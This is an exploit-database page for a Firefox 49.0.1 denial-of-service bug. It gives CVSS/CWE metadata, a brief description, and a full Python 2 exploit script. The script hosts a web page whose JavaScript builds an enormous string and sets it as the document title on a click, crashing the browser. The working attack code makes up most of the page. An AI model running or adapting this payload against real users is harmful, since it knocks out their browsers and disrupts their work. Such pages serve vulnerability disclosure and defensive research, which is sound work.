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Suggest Exploit
vendor:
Firefox
by:
sultan albalawi
7.5
CVSS
HIGH
Denial of Service
415
CWE
Product Name: Firefox
Affected Version From: Firefox 49.0.1
Affected Version To: Firefox 49.0.1
Patch Exists: NO
Related CWE:
CPE: a:mozilla:firefox:49.0.1
Metasploit:
Other Scripts:
Platforms Tested: Windows 7
2016

Firefox 49.0.1 crash Denial of Service

The exploit crashes Firefox 49.0.1 by sending a specially crafted request. It causes a denial of service by overwhelming the browser and making it unresponsive.

Mitigation:

Update to a newer version of Firefox that is not affected by this vulnerability.
Source

Exploit-DB raw data:

'''

#Title: Firefox 49.0.1 crash Denial of Service
#Date: 15 Oct 2016
#Author: sultan albalawi
#video: https://www.facebook.com/pentest3/videos/vb.100012552940568/199310163830747/?type=2&theater
#Tested on:win7
#Open link in firefox
#Double click on the Click You will see the report that there are crach


.........................................................................
'''

from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import subprocess,string
host='192.168.100.3'
port=6060
ban= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'
ban+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'
ban+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'
ban+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'
ban+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'
ban+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'
ban+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'
ban+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'
ban+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'
ban+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'
ban+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'
ban+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'
ban+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'
ban+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'
ban+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'
ban+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'
ban+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'
ban+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'
ban+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'
ban+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'
ban+='\n'
ban+='\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\n'
ban+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'
print ban
print "please wait ...."
i=1
while i <= 4120:
    i+=1
    ban+=string.ascii_uppercase*250
    ban=ban
class Req(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','text/html')
        self.end_headers()
        self.wfile.write('''<html>
                            <head>
                            <title>Firefox 49.0.1 Vulnerability</title>
                            </br>
                            <h1>Firefox 49.0.1 Vulnerability <h1>
                            <h1>\x41\x75\x74\x68\x6f\x72\x3a\x20\x53\x75\x6c\x74\x61\x6e\x2d\x61\x6c\x62\x61\x6c\x61\x77\x69<h1>
                            <h1>\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n<h1>
                            </div>'''+''+'''</body>
                            <script type="text/javascript">
                            function ex() {
                                var buffer = "";
                                for (var i = 0; i < 50000; i++) {
                                    buffer += "\x41";
                                }
                                var buffer2 = buffer;
                                for (i = 0; i < 5000; i++) {
                                    buffer2 += buffer;
                                }
                                document.title = buffer2;
                            }
                            </script></head><body>'helo firefox'<a href="javascript:ex();">CLICK
                            </a></body></html>''')
class runHTTP(HTTPServer):
    def __init__(self,host,port):
        ipadd=(host,port)
        HTTPServer.__init__(self,ipadd,Req)
def createfile():
    global filecreate
    filecreate = "Firefox.dat"
    open(filecreate, "wb").write(ban)
    print filecreate
createfile()
def start():
    global filecreate
    ser=runHTTP(host,port)
    print "http://{}:{}/{}".format(host,port,filecreate)
    ser.serve_forever()
start()

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